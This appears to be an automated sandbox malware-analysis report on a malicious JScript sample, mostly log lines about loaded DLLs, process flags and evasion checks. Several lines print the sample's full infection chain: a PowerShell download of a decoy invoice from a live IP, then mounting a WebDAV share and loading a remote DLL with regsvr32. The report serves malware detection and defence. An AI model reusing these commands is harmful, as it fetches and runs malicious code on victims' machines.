Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1042.js.csv");ITextStream.WriteLine(" entry:6905 f:orqttbvub");ITextStream.WriteLine(" exec:2 f:orqttbvub");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4757			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4399			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6096	Thread sleep count: 4757 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5532	Thread sleep count: 4399 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2612	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3220	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1948	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1492	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2192175910.000001FC161EC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3427956531.000002256E456000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3426644682.0000022568E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2191762082.000001FC16148000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
